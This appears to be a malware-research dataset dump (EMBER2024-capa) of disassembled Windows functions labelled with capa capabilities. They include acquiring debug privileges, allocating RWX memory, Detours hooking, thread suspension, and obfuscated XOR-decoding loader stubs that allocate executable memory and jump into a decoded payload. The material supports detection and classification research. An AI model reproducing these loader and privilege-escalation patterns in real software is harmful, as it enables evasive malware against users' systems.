joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a7c0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000e766
mov eax, dword fs:[0]
push eax
sub esp, 0x654
mov eax, dword [0x10016018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dx, word [0x10013b70]
mov dword [ebp - 0x65c], eax
lea eax, [ebp - 0x620]
mov esi, ecx
mov ecx, dword [0x10013b6c]
push eax
push 0x3ff
mov dword [ebp - 0x660], esi
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x14], dx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x1000a9e8
lea ebx, [ebp - 0x620]
xor edi, edi
jmp 0x1000a840
mov cx, word [ebx]
push 0x104
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x18]
push eax
mov word [ebp - 0x18], cx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x1000a8f6
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x628], 7
mov dword [ebp - 0x62c], edi
mov word [ebp - 0x63c], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x1000a883
sub eax, edx
sar eax, 1
push eax
mov eax, esi
lea ecx, [ebp - 0x63c]
call fcn.1000b7a0
lea eax, [ebp - 0x220]
mov dword [ebp - 4], edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x1000a8b0
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x63c]
push eax
call fcn.1000b030
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000a915
mov dword [ebp - 4], eax
cmp dword [ebp - 0x628], 8
jb 0x1000a8f6
mov ecx, dword [ebp - 0x63c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dx, word [ebx]
add ebx, 2
test dx, dx
jne 0x1000a8f6
cmp word [ebx], di
je 0x1000a9e8
mov esi, dword [ebp - 0x660]
jmp 0x1000a840
xor eax, eax
mov word [ebp - 0x658], ax
lea eax, [ebp - 0x220]
mov dword [ebp - 0x644], 7
mov dword [ebp - 0x648], edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x1000a937
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x220]
lea ecx, [ebp - 0x658]
call fcn.1000b7a0
mov eax, ebx
mov byte [ebp - 4], 1
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x1000a961
sub eax, edx
sar eax, 1
push eax
mov eax, dword [ebp - 0x648]
push ebx
inc eax
push esi
lea ecx, [ebp - 0x63c]
call fcn.1000aea0
mov esi, 8
cmp dword [ebp - 0x644], esi
jb 0x1000a9a2
mov ecx, dword [ebp - 0x658]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [ebp - 0x63c]
cmp dword [ebp - 0x628], esi
jae 0x1000a9b6
lea eax, [ebp - 0x63c]
mov edx, dword [ebp - 0x65c]
push eax
push 0x104
push edx
call dword [sym.imp.MSVCR100.dll_wcscpy_s]
add esp, 0xc
cmp dword [ebp - 0x628], esi
jb 0x1000a9e4
mov eax, dword [ebp - 0x63c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov al, 1
jmp 0x1000a9ea
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000da3b
mov esp, ebp
pop ebp
ret
Function at 0x1000ab50
Capabilities:
Create thread
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x100
push 0
push 0x10025060
mov esi, eax
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x10012ef0]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x10025060], cl
inc eax
cmp eax, 0x100
jb 0x1000ab70
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
push 1
push eax
push 0x10025060
push 0
mov ecx, 0x1001a440
call fcn.10005210
mov eax, dword [0x1001f4b4]
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, dword [sym.imp.USER32.dll_UnregisterClassA]
add esp, 0x14
test eax, eax
je 0x1000abe0
push 0
push 0
push 0x10
push eax
call edi
mov ecx, dword [0x1001fc00]
mov edx, dword [str.SPLASH]
push ecx
push edx
mov dword [0x1001f4b4], 0
call ebx
mov eax, dword [0x1001f5dc]
test eax, eax
je 0x1000ac0b
push 0
push 0
push 0x10
push eax
call edi
mov eax, dword [0x1001fc00]
mov ecx, dword [str.SPLASH]
push eax
push ecx
mov dword [0x1001f5dc], 0
call ebx
mov eax, dword [0x1001f704]
test eax, eax
je 0x1000ac36
push 0
push 0
push 0x10
push eax
call edi
mov edx, dword [0x1001fc00]
mov eax, dword [str.SPLASH]
push edx
push eax
mov dword [0x1001f704], 0
call ebx
mov eax, dword [ebp + 8]
sub eax, 0
je 0x1000ac5c
dec eax
je 0x1000ac50
dec eax
jne 0x1000ac68
mov eax, 0x6a
mov ecx, 0x2b2bb9
jmp 0x1000ac6e
mov eax, 0x69
mov ecx, 0x116896
jmp 0x1000ac6e
mov eax, 0x67
mov ecx, 0x9ca476
jmp 0x1000ac6e
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
push ecx
push eax
mov eax, dword [ebp + 0xc]
call fcn.1000a2f0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push esi
push 0x1000aab0
push 0
push 0
mov dword [esi + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esi + 8]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esi + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0x10]
test eax, eax
jle 0x1000acef
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp + 8], 0
je 0x1000acef
mov eax, dword [esi + 4]
test eax, eax
je 0x1000acea
push 0
push 0
push 0x10
push eax
call edi
mov eax, dword [0x1001fc00]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
mov dword [esi + 4], 0
call ebx
call fcn.1000a730
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x1000adc0
Capabilities:
Encode data using xor

Disassembly:
push esi
push 0x100
push 0
push 0x10025060
mov esi, eax
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
shl esi, 8
lea ecx, [esi + 0x100104f0]
pop esi
mov dl, byte [ecx + eax]
sub dl, 0x1b
xor dl, 0xc
mov byte [eax + 0x10025060], dl
inc eax
cmp eax, 0x100
jb 0x1000ade3
mov eax, 0x10025060
ret
Function at 0x1000ae00
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10016018]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1000ae37
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000da3b
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x20]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1000ae27
mov edx, dword [ebp - 0x20]
push 0
push 0
xor eax, eax
push 0x10
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x10], eax
push ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], edx
mov edx, dword [ebp - 0x18]
push 0
push edx
mov dword [ebp - 0x14], 1
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.1000da3b
mov esp, ebp
pop ebp
ret

Function at 0x1000b8e0
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [0x1001a414]
push edi
cmp esi, dword [0x1001a418]
je 0x1000b9ae
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
nop
cmp byte [esi], 2
jne 0x1000b91e
lea eax, [ebp - 4]
push eax
lea ecx, [esi + 1]
push ecx
xor ebx, ebx
push closesocket
mov dword [ebp - 4], ebx
call edi
cmp dword [ebp - 4], ebx
jne 0x1000b933
add esi, 0x105
cmp esi, dword [0x1001a418]
jne 0x1000b900
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x1001a418]
mov esi, dword [0x1001a414]
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x1000b996
xor edi, edi
cmp byte [edi + esi], 2
jne 0x1000b972
lea ecx, [edi + esi + 1]
push ecx
push closesocket
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov esi, dword [0x1001a414]
mov ecx, dword [0x1001a418]
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
inc ebx
add eax, edx
add edi, 0x105
cmp ebx, eax
jb 0x1000b956
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0
push 6
call fcn.10003010
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000bb10
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.1000bcb0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1000bbd4
cmp dword [ebp - 4], 0x50000000
jb 0x1000bb51
cmp dword [ebp - 4], 0x80000000
ja 0x1000bb51
mov dword [ebp - 4], 0x4fff0000
jmp 0x1000bb2a
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x1000bb77
jmp 0x1000bbd4
cmp dword [ebp - 0x14], 0x10000
jne 0x1000bbba
cmp dword [ebp - 0x18], 0x10000
jb 0x1000bbba
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000bbad
mov eax, dword [ebp - 8]
jmp 0x1000bbd6
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1000bbcf
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.1000bcb0
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1000bb2a
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1000bbe0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.1000bce0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x1000bc9c
cmp dword [ebp - 4], 0x50000000
jb 0x1000bc1c
cmp dword [ebp - 4], 0x80000000
ja 0x1000bc1c
mov dword [ebp - 4], 0x80010000
jmp 0x1000bbf5
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x1000bc42
jmp 0x1000bc9c
cmp dword [ebp - 0x14], 0x10000
jne 0x1000bc85
cmp dword [ebp - 0x18], 0x10000
jb 0x1000bc85
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000bc78
mov eax, dword [ebp - 8]
jmp 0x1000bc9e
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1000bc97
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.1000bce0
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1000bbf5
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1000c410
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
cmp dword [eax], 0x52727464
je 0x1000c425
xor eax, eax
jmp 0x1000c49a
mov ecx, dword [ebp + 8]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
add edx, 0x10000
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 8]
add eax, 0x48
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
jmp 0x1000c452
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x38d
jae 0x1000c495
mov edx, dword [ebp - 4]
imul edx, edx, 0x48
mov eax, dword [ebp - 8]
cmp dword [eax + edx + 0x40], 0
je 0x1000c493
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 0xc]
jb 0x1000c48f
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 0x10]
jb 0x1000c493
xor eax, eax
jmp 0x1000c49a
jmp 0x1000c449
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x1000c660
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1001f830]
mov dword [ebp - 4], eax
jmp 0x1000c679
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x1000c696
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1000c670
mov esp, ebp
pop ebp
ret
Function at 0x1000cae0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x1001f840], eax
je 0x1000cafe
mov eax, 0x10dd
jmp 0x1000cbdf
mov eax, dword [0x1001f850]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000cb7c
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x1000cb5a
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x1000cb5a
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.1000c180
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x1000cb06
mov dword [0x1001f850], 0
call fcn.1000c4a0
mov ecx, dword [0x1001f84c]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x1000cbc9
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
push ecx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
jmp 0x1000cb94
mov dword [0x1001f84c], 0
mov dword [0x1001f840], 0
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1000d0d0
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x1001f844], 0
je 0x1000d0e9
mov eax, dword [0x1001f844]
jmp 0x1000d189
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp dword [ebp + 8], eax
jne 0x1000d0fb
xor eax, eax
jmp 0x1000d189
push 8
call fcn.1000db54
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000d151
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x1000d13a
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
push edx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x1001f844], eax
mov dword [0x1001f848], 0
mov eax, dword [ebp - 8]
jmp 0x1000d189
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x1000d16b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
jmp 0x1000d11b
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x1001f84c]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x1001f84c], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x1000da3b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10016018]
jne 0x1000da45
repz ret
jmp fcn.1000df29
Function at 0x406a06
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406a2a
xor eax, eax
test eax, eax
je 0x406a3d
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406a3d
xor ecx, ecx
jmp 0x406a40
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x40633c
pop dword [ebp - 0x40]
mov eax, 0xfbae51ea
sub eax, 0xfb6deeae
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x818ae2d8
sub dword [ebp - 0x50], 0x33389d8d
mov dword [ebp - 0x4c], 0xafdd24c2
sub dword [ebp - 0x4c], 0x7da9d87d
mov dword [ebp - 0x48], 0xd055ff3c
add dword [ebp - 0x48], 0x7bf644f2
mov dword [ebp - 0x44], 0xc169a5ff
add dword [ebp - 0x44], 0x3e965a01
lea eax, [ebp - 0x50]
push eax
mov eax, 0xf62ee6c7
sub eax, 0xf5ee7667
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x4b03035c
sub dword [ebp - 0x50], 0xd6909a06
mov dword [ebp - 0x4c], 0xae47e6da
add dword [ebp - 0x4c], 0x93247a9b
mov dword [ebp - 0x48], 0xefbe49d2
add dword [ebp - 0x48], 0x73b1229a
mov dword [ebp - 0x44], 0x9c7f67e4
sub dword [ebp - 0x44], 0x9c7f67e4
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x16dcab62
sub eax, 0x169c3a62
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x38af1
push 0
call eax
mov ecx, 0x5043
xor edx, edx
add edx, eax
mov ebx, 0xdca621e7
sub ebx, 0xdc6521e7
add ebx, dword [ebp - 0x40]
mov edi, 0x8f082883
sub dword [ebp - 4], ebx
mov esi, dword [ebx]
xor esi, edi
xor dword [ebp - 0x18], edx
mov dword [edx], esi
add dword [ebp - 4], 0x6994ff9f
add edx, 0xe7f9eed2
sub edx, 0xe7f9eece
add ebx, 0xa62aa422
sub ebx, 0xa62aa41e
loop 0x406454
add eax, 0xbd7d81c1
sub eax, 0xbd7c4de2
xor ebx, ebx
add ebx, eax
add eax, 0x592fafc4
sub eax, 0x592fafbf
mov ecx, 0x400000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x100075f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x100075ff
pop dword [ebp - 0xc]
mov eax, 0x5f53372
add eax, 0xa0b428d
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x3adbb5d3
sub dword [ebp - 0x1c], 0xec897088
mov dword [ebp - 0x18], 0x124e54d3
sub dword [ebp - 0x18], 0xe01b088e
mov dword [ebp - 0x14], 0x24df445e
sub dword [ebp - 0x14], 0xd8930030
mov dword [ebp - 0x10], 0xaa254c9e
sub dword [ebp - 0x10], 0xaa254c9e
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xd285ad3b
add dword [ebp - 0x1c], 0xa1ecbc1b
mov dword [ebp - 0x18], 0xac310595
sub dword [ebp - 0x18], 0x6ac4a420
mov dword [ebp - 0x14], 0xb2ee3a1a
add dword [ebp - 0x14], 0xb0813252
mov dword [ebp - 0x10], 0x915edcc6
add dword [ebp - 0x10], 0x6ea1233a
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x40413
push 0
call eax
mov ecx, 0xe9255fc4
sub ecx, 0xe9250faf
mov esi, eax
mov edx, 0xa5cb4f80
add edx, 0x6a376080
add edx, dword [ebp - 0xc]
mov edi, 0x63e5a7b
add edi, 0x27dfd85
sub dword [ebp - 4], 0x85c7f981
mov ebx, dword [edx]
xor dword [ebp - 4], 0x9f337eab
sub ebx, edi
sub dword [ebp - 4], esi
mov dword [esi], ebx
mov dword [ebp - 4], 0x7f9275ed
add esi, 0x783e9792
sub esi, 0x783e978e
add edx, 4
loop 0x10007717
add eax, 0xbdbd81fa
add eax, 0x4243b12d
xor ebx, ebx
add ebx, eax
add eax, 0xbf2bbd9d
add eax, 0x40d44268
mov ecx, 0xbd2a1c19
add ecx, 0x52d5e3e7
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x402e47
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor ecx, ecx
push 8
mov eax, ecx
pop edx
test al, 1
je 0x402e5b
shr eax, 1
xor eax, 0xedb88320
jmp 0x402e5d
shr eax, 1
dec edx
jne 0x402e4e
mov dword [ecx*4 + 0x4151c0], eax
mov dword [ecx*4 + 0x4171c0], eax
inc ecx
cmp ecx, 0x100
jb 0x402e49
push ebx
push esi
push edi
mov ecx, 0x4155c0
mov edi, 0x101
mov eax, dword [ecx - 0x400]
push 7
mov edx, ecx
pop esi
movzx ebx, al
shr eax, 8
xor eax, dword [ebx*4 + 0x4151c0]
mov dword [edx], eax
add edx, 0x400
dec esi
jne 0x402e8f
add ecx, 4
dec edi
jne 0x402e84
pop edi
pop esi
pop ebx
ret

Function at 0x402eb1
Capabilities:
Encode data using xor

Disassembly:
cmp dword [0x4171c4], 0
jne 0x402ebf
call fcn.00402e47
mov ecx, dword [esp + 8]
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0x10]
push edi
test esi, esi
jbe 0x402eec
test cl, 7
je 0x402eec
movzx edx, byte [ecx]
movzx edi, al
xor edx, edi
shr eax, 8
xor eax, dword [edx*4 + 0x4151c0]
dec esi
inc ecx
jmp 0x402ecd
cmp esi, 8
jb 0x402f7f
mov edi, esi
shr edi, 3
push ebx
xor eax, dword [ecx]
sub esi, 8
mov ebx, eax
shr ebx, 0x10
movzx ebx, bl
mov edx, eax
shr edx, 0x18
mov edx, dword [edx*4 + 0x4161c0]
xor edx, dword [ebx*4 + 0x4165c0]
mov ebx, eax
shr ebx, 8
movzx ebx, bl
xor edx, dword [ebx*4 + 0x4169c0]
movzx ebx, byte [ecx + 6]
xor edx, dword [ebx*4 + 0x4155c0]
movzx ebx, byte [ecx + 5]
xor edx, dword [ebx*4 + 0x4159c0]
movzx ebx, byte [ecx + 4]
xor edx, dword [ebx*4 + 0x415dc0]
movzx ebx, byte [ecx + 7]
xor edx, dword [ebx*4 + 0x4151c0]
movzx eax, al
xor edx, dword [eax*4 + 0x416dc0]
add ecx, 8
dec edi
mov eax, edx
jne 0x402efb
pop ebx
jmp 0x402f7f
movzx edx, byte [ecx]
movzx edi, al
xor edx, edi
shr eax, 8
xor eax, dword [edx*4 + 0x4151c0]
dec esi
inc ecx
test esi, esi
ja 0x402f6b
pop edi
pop esi
ret 0xc
Function at 0x40ea2e
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x18], 0
and dword [eax + 0x14], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
ret 4
Function at 0x10001006
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push edx
jmp 0x10001111
push eax
mov eax, ecx
pop eax
add esp, 4
push edx
nop
lea ax, [eax]
push eax
nop
lea ax, [eax]
mov edx, 0xa5b1
nop
lea ax, [eax]
mov eax, dword [esp + 0xc]
nop
lea ax, [eax]
and eax, 0xfffff000
nop
lea ax, [eax]
mov cx, word [eax]
nop
lea ax, [eax]
inc cx
nop
lea ax, [eax]
push edx
add dword [esp], ecx
pop ecx
nop
lea ax, [eax]
inc cx
nop
lea ax, [eax]
je 0x10001075
nop
lea ax, [eax]
sub eax, 0x1000
nop
lea ax, [eax]
jmp 0x1000102c
sub esp, 4
nop
lea ax, [eax]
mov dword [esp], eax
nop
lea ax, [eax]
xor eax, eax
nop
lea ax, [eax]
push 0x358c851f
nop
lea ax, [eax]
push 0x866f672c
nop
lea ax, [eax]
push 0
nop
lea ax, [eax]
push 0x72e461aa
nop
lea ax, [eax]
push esp
nop
lea ax, [eax]
push 0x4a30
nop
lea ax, [eax]
push 0x10
nop
lea ax, [eax]
push eax
nop
lea ax, [eax]
mov eax, dword [esp + 0x34]
jmp 0x10001243
mov dword [esp + 0x14], 0xc989eaf8
nop
lea ax, [eax]
lea edx, [eax + 0x8030]
nop
lea ax, [eax]
lea eax, [eax + 0x88c7]
jmp section..text
mov eax, dword [eax + 0xc]
jmp 0x100010e8